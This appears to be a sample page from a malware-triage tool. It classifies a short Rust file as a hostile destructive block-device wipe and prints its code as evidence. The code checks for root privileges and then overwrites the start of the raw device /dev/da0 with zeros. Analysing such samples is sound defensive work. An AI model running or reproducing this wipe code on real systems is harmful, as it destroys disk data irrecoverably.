Hostile 92% Download

41-linux-da0.rs

Destructive block device wipe

Destructive overwrite of a raw block deviceRust OpenOptions opens a block device
SHA-256c2177010db7e17dfa74bc5aeabe19b2c0798bcf683c11dafcfab650b18e7d37f

Evidence

Rust OpenOptions opens a block device lines 1–8
1use std::fs::OpenOptions;
2use std::io::Write;
3use std::os::unix::fs::OpenOptionsExt;
4fn main() {
5 if unsafe { libc::geteuid() } != 0 { return; }
6 let mut f = OpenOptions::new().write(true).custom_flags(libc::O_RDWR).open("/dev/da0").unwrap();
7 let _ = f.write_all(&vec![0u8; 65536]);
8}

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.